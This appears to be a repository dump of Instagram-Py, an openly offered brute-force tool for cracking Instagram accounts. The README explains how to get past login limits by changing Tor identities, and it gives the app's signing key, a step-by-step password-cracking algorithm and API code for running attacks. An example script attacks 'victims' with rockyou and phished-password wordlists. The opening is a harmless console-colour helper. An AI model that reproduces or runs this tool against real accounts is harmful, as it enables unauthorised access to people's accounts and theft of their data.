113 | # 1 should clear from the cursor to the beginning of the screen.
114 | # 2 should clear the entire screen, and move cursor to (1,1)
115 | handle = win32.STDOUT
116 | if on_stderr:
117 | handle = win32.STDERR
118 | csbi = win32.GetConsoleScreenBufferInfo(handle)
119 | # get the number of character cells in the current buffer
120 | cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y
121 | # get number of character cells before current cursor position
122 | cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X
123 | if mode == 0:
124 | from_coord = csbi.dwCursorPosition
125 | cells_to_erase = cells_in_screen - cells_before_cursor
126 | if mode == 1:
127 | from_coord = win32.COORD(0, 0)
128 | cells_to_erase = cells_before_cursor
129 | elif mode == 2:
130 | from_coord = win32.COORD(0, 0)
131 | cells_to_erase = cells_in_screen
132 | # fill the entire screen with blanks
133 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)
134 | # now set the buffer's attributes accordingly
135 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)
136 | if mode == 2:
137 | # put the cursor where needed
138 | win32.SetConsoleCursorPosition(handle, (1, 1))
139 |
140 | def erase_line(self, mode=0, on_stderr=False):
141 | # 0 should clear from the cursor to the end of the line.
142 | # 1 should clear from the cursor to the beginning of the line.
143 | # 2 should clear the entire line.
144 | handle = win32.STDOUT
145 | if on_stderr:
146 | handle = win32.STDERR
147 | csbi = win32.GetConsoleScreenBufferInfo(handle)
148 | if mode == 0:
149 | from_coord = csbi.dwCursorPosition
150 | cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X
151 | if mode == 1:
152 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)
153 | cells_to_erase = csbi.dwCursorPosition.X
154 | elif mode == 2:
155 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)
156 | cells_to_erase = csbi.dwSize.X
157 | # fill the entire screen with blanks
158 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)
159 | # now set the buffer's attributes accordingly
160 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)
161 |
162 | def set_title(self, title):
163 | win32.SetConsoleTitle(title)
164 |
--------------------------------------------------------------------------------
/instagram-py/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 DeathSec
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/instagram-py/MANIFEST.in:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 | # Copyright (C) 2017 The Future Shell , DeathSec.
3 | #
4 | # @filename : MANIFEST.IN
5 | # @description : Things that I want to avoid and include in the
6 | # python package.
7 |
8 | exclude .gitignore
9 | exclude .coverage
10 | exclude preview.png
11 | exclude .travis.yml
12 | include README.rst
13 | include setup.cfg
14 | prune .cache
15 | prune .git
16 | prune build
17 | prune dist
18 | recursive-exclude *.egg-info *
19 | recursive-exclude examples *
20 | recursive-exclude observations *
21 |
--------------------------------------------------------------------------------
/instagram-py/README.rst:
--------------------------------------------------------------------------------
1 | ==============
2 | Instagram-Py
3 | ==============
4 |
5 | | Instagram-py performs slick brute force attack on Instagram without any type of password limiting
6 | | and also resumes your attack in ease.
7 |
8 |
9 |
10 | .. image:: https://img.shields.io/github/issues/deathsec/instagram-py.svg?style=flat-square
11 | :target: https://github.com/deathsec/instagram-py/issues
12 |
13 | .. image:: https://img.shields.io/github/forks/deathsec/instagram-py.svg?style=flat-square
14 | :target: https://github.com/deathsec/instagram-py/network
15 |
16 | .. image:: https://img.shields.io/github/stars/deathsec/instagram-py.svg?style=flat-square
17 | :target: https://github.com/deathsec/instagram-py/stargazers
18 |
19 | .. image:: https://img.shields.io/badge/license-MIT-blue.svg?style=flat-square
20 | :target: https://raw.githubusercontent.com/deathsec/instagram-py/master/LICENSE
21 |
22 | .. image:: https://img.shields.io/pypi/v/instagram-py.svg?style=flat-square
23 | :target: #
24 |
25 |
26 | .. image:: http://forthebadge.com/images/badges/built-with-love.svg
27 | :target: #
28 | .. image:: http://forthebadge.com/images/badges/60-percent-of-the-time-works-every-time.svg
29 | :target: #
30 |
31 | .. image:: http://forthebadge.com/images/badges/made-with-python.svg
32 | :target: #
33 |
34 |
35 |
36 | -------
37 | Why?
38 | -------
39 |
40 | | **I Actually** started this **project** for **proof of concept** that we can brute force **Instagram** forever.
41 | | When I created the prototype and posted on **Twitter** , I got a **lot of people** who wanted a simple slick tool to execute
42 | | brute force attack on **Instagram** , So I thought why reinvent the wheel?....
43 | | So I searched **Github** and found nothing worth value , some were fake or poorly engineered!
44 | | And here it is **a Authentic brute force tool for Instagram**
45 |
46 |
47 | ------
48 | How?
49 | ------
50 |
51 | | We use , **tor** to change our ip once blocked for many tries and continue attack.
52 | | Since the official api is not a hacker wants, So we use the **InstagramAPK signature** to stay **anonymous!**
53 | | And we also **save** the **progress** so that even in network interruption we can avoid breaking the computer!
54 |
55 | **See the 'Algorimthm' section down below for more hackery!**
56 |
57 | -------
58 | What?
59 | -------
60 |
61 | | **Instagram-Py** is a slick python script to perform **brute force** attack against **Instagram** ,
62 | | this script can **bypass** login limiting on wrong passwords , so basically it can test **infinite number of passwords**.
63 | | Instagram-Py is **proved** and can test **over 6M** passwords on a single instagram account with **less resource** as possible
64 | | This script mimics the activities of the official **instagram android app** and sends request over **tor** so you are secure ,
65 | | but if your **tor** installation is **misconfigured** then the blame is on you.
66 |
67 |
68 | ------------
69 | Features
70 | ------------
71 |
72 | * Instagram-Py Scripting
73 |
74 | Craft your own python script which will embed into Instagram-Py for Maximum Customization of your
75 | brute force attack , example: What if you want a message sent to your phone when an account is hacked?
76 |
77 | * Resumes Attacks when the same wordlist is used on the same Username
78 | * Dumps successfully cracked accounts in the dump
79 | * Maximum Customization! ( This includes multiple attack vectors! )
80 | * Fast and Clean Code , no ugly selenum drivers! ( Pure Requests )
81 | * Elegant Tor Identity Change with Stem ( Tor's Official Library for Python )
82 |
83 |
84 | **Depends on**: python3 , tor , requests , requests[socks] , stem
85 |
86 | ==============
87 | Installation
88 | ==============
89 | ---------------------------------
90 | Upgrading Instagram-Py with pip
91 | ---------------------------------
92 |
93 | ::
94 |
95 | $ sudo pip3 install instagram-py --upgrade
96 |
97 |
98 | -------------------------------
99 | using pip to get Instagram-py
100 | -------------------------------
101 |
102 | **Make sure you have got the latest version of pip(>= 9.0 and python(>= 3.6)**
103 |
104 | ::
105 |
106 | $ sudo easy_install3 -U pip # you have to install python3-setuptools , update pip
107 | $ sudo pip3 install requests --upgrade
108 | $ sudo pip3 install requests[socks]
109 | $ sudo pip3 install stem
110 | $ sudo pip3 install instagram-py
111 | $ instagram-py # installed successfully
112 | $ # Configuration is Super Important so Lets Create One
113 | $ instagram-py --create-configuration # follow the steps...
114 |
115 | --------------------------------
116 | Configuring Instagram-Py
117 | --------------------------------
118 |
119 | **As of v2.0.0 Configuration is Simply done by Passing an Argument to Instagram-Py**
120 |
121 | ::
122 |
123 | $ instagram-py --create-configuration
124 | $ # OR
125 | $ instagram-py -cc
126 |
127 |
128 |
129 | **Or if you just want the default settings without the annoying questions then**
130 |
131 | ::
132 |
133 | $ instagram-py --create-configuration --default-configuration
134 | $ # OR
135 | $ instagram-py -cc -dc
136 |
137 |
138 |
139 | --------------------------------------------------
140 | Configuring Tor server to open control port
141 | --------------------------------------------------
142 |
143 | open your **tor configuration** file usually located at **/etc/tor/torrc**
144 |
145 |
146 | ::
147 |
148 | $ sudo vim /etc/tor/torrc # open it with your text editor
149 |
150 |
151 | **search** for the file for this **specific section**
152 |
153 | ::
154 |
155 | ## The port on which Tor will listen for local connections from Tor
156 | ## controller applications, as documented in control-spec.txt.
157 | #ControlPort 9051
158 |
159 | **uncomment** 'ControlPort' by deleting the **#** before 'ControlPort' , **now save the file and restart your tor server**
160 |
161 | **now you are ready to crack any instagram account , make sure your tor configuration matched ~/instapy-config.json**
162 |
163 | =============
164 | Usage
165 | =============
166 |
167 | **Finally** , now you can use instagram-py!
168 |
169 | **Instagram-Py Scripting lets you run Custom Python Scripts Inside Instagram-Py!**
170 |
171 | **Never Run Instagram-Py with Multiple Instance! , Use Instagram-Py Scripting Instead!**
172 |
173 |
174 | ::
175 |
176 | $ instagram-py -u your_account_username -pl path_to_password_list
177 |
178 |
179 | **Note**: Without the **-c** optional argument , instagram-py **will not continue the attack**
180 |
181 | ::
182 |
183 | usage: instagram-py [-h] [--username USERNAME] [--password-list PASSWORD_LIST]
184 | [--script SCRIPT] [--inspect-username INSPECT_USERNAME]
185 | [--create-configuration] [--default-configuration]
186 | [--countinue] [--verbose]
187 |
188 | optional arguments:
189 | -h, --help show this help message and exit
190 | --username USERNAME, -u USERNAME
191 | username for Instagram account
192 | --password-list PASSWORD_LIST, -pl PASSWORD_LIST
193 | password list file to try with the given username.
194 | --script SCRIPT, -s SCRIPT
195 | Instagram-Py Attack Script.
196 | --inspect-username INSPECT_USERNAME, -i INSPECT_USERNAME
197 | Username to inspect in the instagram-py dump.
198 | --create-configuration, -cc
199 | Create a Configuration file for Instagram-Py with
200 | ease.
201 | --default-configuration, -dc
202 | noconfirm for Instagram-Py Configuration Creator!
203 | --countinue, -c Countinue the previous attack if found.
204 | --verbose, -v Activate Verbose mode. ( Verbose level )
205 |
206 | example: instagram-py -c -vvv -u instatestgod__ -pl rockyou.txt
207 |
208 | Report bug, suggestions and new features at https://github.com/deathsec/instagram-py
209 |
210 |
211 |
212 | ========================
213 | Instagram-Py Scripting
214 | ========================
215 |
216 | Instagram-Py now lets you run your custom scripts inside of it for maximum customization of your attacks.
217 | This Scripts are simple Python Scripts ( You Can just do anything that is possible with python )
218 |
219 | Refer the Wiki to get full information about Instagram-Py Scripting , https://github.com/deathsec/instagram-py/wiki
220 | Also look into the **examples** tree present in this repo , it contains simple example scripts.
221 |
222 | **You Can Always View the Cracked Passwords Using this command!**
223 |
224 | ::
225 |
226 | $ instagram-py -i instatestgod__
227 | $ # Displays record if it is cracked in the past!
228 |
229 | ===========
230 | Algorithm
231 | ===========
232 |
233 | **Instagram-Py** uses a very simple algorithm for checking passwords efficiently , this section is dedicated for those who
234 | wish to recreate this program in any other language.
235 |
236 |
237 | **You can see this live when you run the tool in max verbosity**
238 |
239 | ::
240 |
241 | $ instagram-py -vvv -u instatestgod__ -pl password_list.lst
242 |
243 | **You can also use Instagram-Py as a module , so that you can also use it in your script**
244 |
245 | -------------
246 | What we do
247 | -------------
248 |
249 | **Step 1:** Get the magic cookie , which is used to verify device integrity!
250 |
251 | Getting the magic cookie is the simplest job , all we need to do is send a get request to **https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=** , where the **guid** get parameter is a random 32 character string.
252 | The random 32 character string can be generator using python's simple **uuid library** , to be specific **v4** of **UUID**.
253 | So finally we just have to request the url **https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=800e88b931bf491fa3b4a7afa4e679eb** and get the cookie named **csrftoken** , if we observe the **response header** we
254 | could see that our cookie only **expires** next **year** the same day. So by this we only have to make this request once
255 | and can use it for a year! How vulnerable is that?...
256 |
257 | .. image:: https://raw.githubusercontent.com/deathsec/instagram-py/master/observations/cookies.png
258 | :target: #
259 |
260 |
261 | **Step 2:** Build a post request with Instagram's signature.
262 |
263 | This part is **simple** but may be difficult to setup , first i need to get instagram's signature
264 | which is only present in their free apk from google play , Remember our **Strength can be our Weakness**
265 | , All i have to do reverse engineer the apk and find the signature, lets call it **ig_sig**.
266 |
267 | ::
268 |
269 | ig_sig = 4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178
270 | ig_version = 4
271 |
272 | **Instagram** uses **HMAC Authentication** for login stuff, so lets use python's **hmac library**.
273 | But first we have to build our body which will be encoded in json for it to actually sign with
274 | **ig_sig** , So the post **body** looks likes this...
275 |
276 |
277 | ::
278 |
279 | phone_id =
280 | _csrftoken =
281 | username =
282 | guid =
283 | device_id = android-
284 | password =
285 | login_attempt_count = 0
286 |
287 |
288 | The above will be encoded to **JSON** , So to test the password we have to post the data to this url
289 | **https://i.instagram.com/api/v1/accounts/login/ig_sig_key_version=4&signed_body=.** .
290 |
291 | **:** using **HMAC** , sign our json encoded data with **ig_sig** and return a hexa value.
292 |
293 | **:** the same data in json but we url encode so that it goes properly to insta!
294 |
295 | So to test a account with username as **USERNAME** and password with **PASSWORD** we simply request this
296 | url **https://i.instagram.com/api/v1/accounts/login/ig_sig_key_version=4&signed_body=bc90e1b7d430f39152e92b4e7d517bfb231dbe0515ed2071dc784cf876e301c3.%7B%22phone_id%22%3A%20%2232abb45c-f605-4fd7-9b5e-674115516b90%22%2C%20%22_csrftoken%22%3A%20%22PyMH2niVQrk41UIBW0lKilleG7GylluQ%22%2C%20%22username%22%3A%20%22USERNAME%22%2C%20%22guid%22%3A%20%2267ca220c-a9eb-4240-b173-2d253808904d%22%2C%20%22device_id%22%3A%20%22android-283abce46cb0a0bcef4%22%2C%20%22password%22%3A%20%22PASSWORD%22%2C%20%22login_attempt_count%22%3A%20%220%22%7D**
297 |
298 | **Take a look** how I did it...
299 |
300 | .. image:: https://raw.githubusercontent.com/deathsec/instagram-py/master/observations/login_create.png
301 |
302 |
303 | **Step 3:** With the json response and response code , we determine the password is correct or wrong.
304 |
305 | if **We get response 200** then the login is success but if we get **response 400** , We inspect the
306 | **json data** for clues if it is the **correct password or invalid request or too many tries**.
307 | So we inspect the **message** from instagram json response!
308 |
309 | **Message = Challenge Required** , then the password is correct but instagram got some questions so
310 | we must wait until the user logs in and answer the question and if we are lucky they will not change
311 | the password and we could login in later(**Most of the time people won't change the password!**)
312 |
313 | **Message = The password you entered is incorrect.** , then the password is incorrect for sure , try
314 | another.
315 |
316 | **Message as something like word invalid in it then** , some other error so just try again, can happen
317 | because of wordlist encoding error which i ignored because all the worldlist have encoding error!
318 |
319 | **Message = Too many tries** , Time to change our ip and loop but we don't want to change our magic cookie
320 |
321 | **Thats it you just hacked instagram with a very simple algorithm!**
322 |
323 | ==============
324 | Contribution
325 | ==============
326 |
327 | .. image:: https://img.shields.io/github/contributors/deathsec/instagram-py.svg?style=flat-square
328 |
329 |
330 | Contribute anything you can to this repo **(Issues | Pull request)** , help is much **appreciated**.
331 |
332 | Please Refer `CONTRIBUTING`_ for more information on contributing!
333 |
334 | .. _CONTRIBUTING: https://github.com/DeathSec/instagram-py/blob/master/.github/CONTRIBUTING.md
335 |
336 | ===========================
337 | Using Instagram-Py as API
338 | ===========================
339 |
340 | **Instagram-Py supports to be used as a module as of v1.3.2 , so you don't want to reproduce my code. Just use it!**
341 |
342 | For some reason you wish not to use my software then you can use my software as a module and embed into your own
343 | software , anyway its native so its just gonna run the same as the official command-line tool unless you do something crazy.
344 |
345 | **Follow the same installation method mentioned above to install Instagram-Py API.**
346 |
347 | This is a simple script to conduct a bructe force attack using instagram-py as a API.
348 |
349 | ::
350 |
351 | #!/usr/bin/env python3
352 | '''
353 | This is the same thing that is in the __init__ file of the command-line
354 | tool.
355 | '''
356 | from InstagramPy.InstagramPyCLI import InstagramPyCLI
357 | from InstagramPy.InstagramPySession import InstagramPySession , DEFAULT_PATH
358 | from InstagramPy.InstagramPyInstance import InstagramPyInstance
359 | from datetime import datetime
360 |
361 | username = "TARGET ACCOUNT USERNAME"
362 | password = "PASSWORD LIST PATH"
363 |
364 | appInfo = {
365 | "version" : "0.0.1",
366 | "name" : "Instagram-Py Clone",
367 | "description" : "Some Module to crack instagram!",
368 | "author" : "YourName",
369 | "company" : "YourCompany",
370 | "year" : "2017",
371 | "example" : ""
372 | }
373 |
374 | cli = InstagramPyCLI(appinfo = appInfo , started = datetime.now() , verbose_level = 3)
375 |
376 | '''
377 | # USE THIS IF YOU WANT
378 | cli.PrintHeader()
379 | cli.PrintDatetime()
380 | '''
381 | session = InstagramPySession(username , password , DEFAULT_PATH , DEFAULT_PATH , cli)
382 | session.ReadSaveFile(True) # True to countinue attack if found save file.
383 | '''
384 | # USE THIS IF YOU WANT
385 | cli.PrintMagicCookie(session.magic_cookie)
386 | '''
387 |
388 | '''
389 | Defining @param cli = None will make Instagram-Py run silently so you
390 | can you use your own interface if you like.
391 | or if you want to use the official interface then declare like this
392 |
393 | instagrampy = InstagramPyInstance(cli = cli , session = session)
394 |
395 | '''
396 |
397 | instagrampy = InstagramPyInstance(cli = None ,session = session)
398 | while not instagrampy.PasswordFound():
399 | print('Trying... '+session.CurrentPassword())
400 | instagrampy.TryPassword()
401 |
402 | if instagrampy.PasswordFound():
403 | print('Password Found: '+session.CurrentPassword())
404 |
405 | exit(0)
406 |
407 |
408 |
409 | **Refer the Wiki to get full information about the api , https://github.com/deathsec/instagram-py/wiki**
410 |
411 |
412 |
413 |
414 | =============
415 | License
416 | =============
417 |
418 | The MIT License
419 |
--------------------------------------------------------------------------------
/instagram-py/bin/instagram-py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | #*********************************************************************************#
3 | # MIT License #
4 | # #
5 | # Copyright (c) 2017 The Future Shell , DeathSec. #
6 | # #
7 | # Permission is hereby granted, free of charge, to any person obtaining a copy #
8 | # of this software and associated documentation files (the "Software"), to deal #
9 | # in the Software without restriction, including without limitation the rights #
10 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #
11 | # copies of the Software, and to permit persons to whom the Software is #
12 | # furnished to do so, subject to the following conditions: #
13 | # #
14 | # The above copyright notice and this permission notice shall be included in all #
15 | # copies or substantial portions of the Software. #
16 | # #
17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #
18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #
19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #
20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #
21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #
22 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE #
23 | # SOFTWARE. #
24 | #*********************************************************************************#
25 |
26 | import InstagramPy
27 |
28 | if __name__ == '__main__':
29 | InstagramPy.ExecuteInstagramPy()
30 |
--------------------------------------------------------------------------------
/instagram-py/examples/README.rst:
--------------------------------------------------------------------------------
1 | ==================================
2 | Instagram-Py Scripting Examples
3 | ==================================
4 |
5 | ------------------------
6 | Multi Username attack
7 | ------------------------
8 |
9 | **filename:** multi_attack.py
10 |
11 | ::
12 |
13 | $ # After installation of instagram-py 2.0.0
14 | $ # Modify multi_attack.py to your victims
15 | $ chmod +x multi_attack.py
16 | $ ./multi_attack.py
17 |
18 |
19 |
--------------------------------------------------------------------------------
/instagram-py/examples/multi_attack.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/instagram-py -s
2 | # Only Supports Python 3
3 |
4 | import os
5 |
6 | def hacked_an_account(username , password):
7 | # Use Twilio API to Make a Message to our phone MayBe?
8 | print("Account Cracked!")
9 | return True
10 |
11 |
12 | print("Initiating Multi Username Attack Script...")
13 |
14 | global_callback = hacked_an_account
15 | global_password_list = "{}/Developer/.exploits/facebook-phished.txt".format(os.path.expanduser('~'))
16 |
17 | usernames = [ # Reserved Variable
18 | {
19 | "id" : "instatestgod__",
20 | "password_list" : "/home/antonyjr/Developer/.exploits/rockyou.txt" , # full path
21 | "countinue" : True, # Optional
22 | "verbose" : 0 # Optional
23 | },
24 | # If you want to simultaniously attack the same account with different wordlist
25 | # Apparently Saving does not work here if two wordlist are used on a single user!
26 | # could be later fixed anyways...
27 | {
28 | "id" : "instatestgod__",
29 | # global password list will cover us if password list is not mentioned!
30 | "countinue" : False, # Optional
31 | "verbose" : 3 # Optional
32 | }
33 | # ,
34 | # {
35 | # "id" : "even_more_users",
36 | # "password_list" : "different_passwords.lst",
37 | # }
38 | ]
39 | # Attack Automatically starts here!
40 |
--------------------------------------------------------------------------------
/instagram-py/indent.sh:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 | # Copyright (C) 2017 The Future Shell , DeathSec.
3 | #
4 | # Indents Python source files to PEP8 Coding Style.
5 | # Depends on autopep8
6 |
7 | autopep8 -i bin/instagram-py \
8 | InstagramPy/*py
9 |
10 | echo "Converted Source files to PEP8 Style!"
11 | echo "exiting... "
12 |
13 |
--------------------------------------------------------------------------------
/instagram-py/instapy-config.json:
--------------------------------------------------------------------------------
1 | {
2 | "api-url" : "https://i.instagram.com/api/v1/",
3 | "user-agent" : "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)",
4 | "ig-sig-key" : "4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178",
5 | "ig-sig-version" : "4",
6 | "tor" : {
7 | "server" : "127.0.0.1",
8 | "port" : "9050",
9 | "protocol" : "socks5",
10 | "control" : {
11 | "password" : "",
12 | "port" : "9051"
13 | }
14 | }
15 |
16 | }
17 |
--------------------------------------------------------------------------------
/instagram-py/observations/cookies.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kal1gh0st/InstagramHacked/a46b7994c17be1f0126e6b1beee09ec8736291df/instagram-py/observations/cookies.png
--------------------------------------------------------------------------------
/instagram-py/observations/login_create.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kal1gh0st/InstagramHacked/a46b7994c17be1f0126e6b1beee09ec8736291df/instagram-py/observations/login_create.png
--------------------------------------------------------------------------------
/instagram-py/preview.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kal1gh0st/InstagramHacked/a46b7994c17be1f0126e6b1beee09ec8736291df/instagram-py/preview.gif
--------------------------------------------------------------------------------
/instagram-py/requirements.txt:
--------------------------------------------------------------------------------
1 | stem==1.6.0
2 | requests==2.18.1
3 | setuptools==36.2.7
4 | pysocks==1.6.7
5 |
--------------------------------------------------------------------------------
/instagram-py/setup.cfg:
--------------------------------------------------------------------------------
1 | [bdist_wheel]
2 | universal=1
3 |
--------------------------------------------------------------------------------
/instagram-py/setup.py:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 |
3 | # @filename : setup.py
4 | # @description : The traditional setup.py script for
5 | # Installation from pip or easy_install
6 |
7 | from codecs import open
8 | from os.path import abspath, dirname, join , expanduser
9 |
10 | from setuptools import Command, find_packages, setup
11 |
12 | from InstagramPy import __version__
13 |
14 |
15 | this_dir = abspath(dirname(__file__))
16 | with open(join(this_dir, 'README.rst'), encoding='utf-8') as file:
17 | long_description = file.read()
18 |
19 | setup(
20 | name = 'instagram-py',
21 | version = __version__,
22 | description = 'Slick Instagram brute force command line tool writen in python.',
23 | long_description = long_description,
24 | url = 'https://github.com/DeathSec/Instagram-Py',
25 | download_url = 'https://github.com/deathsec/instagram-py/archive/v'+str(__version__)+'.tar.gz',
26 | author = 'DeathSec',
27 | author_email = 'antonyjr@protonmail.com',
28 | license = 'MIT',
29 | classifiers = [
30 | 'Topic :: Utilities',
31 | 'Natural Language :: English',
32 | 'Operating System :: OS Independent',
33 | 'Programming Language :: Python :: 3.4',
34 | 'Programming Language :: Python :: 3.6'
35 | ],
36 | keywords = ['cli' , 'hack' , 'instagram' , 'with' , 'out' , 'password' , 'limit' , 'brute' ,
37 | 'force' , 'attack' , 'instagram'],
38 | packages = find_packages(exclude=['docs', 'tests*']),
39 | install_requires = ['requests' , 'requests[socks]' , 'stem'],
40 | entry_points = {
41 | 'console_scripts': [
42 | 'instagram-py=InstagramPy:ExecuteInstagramPy',
43 | ],
44 | },
45 |
46 | )
47 |
--------------------------------------------------------------------------------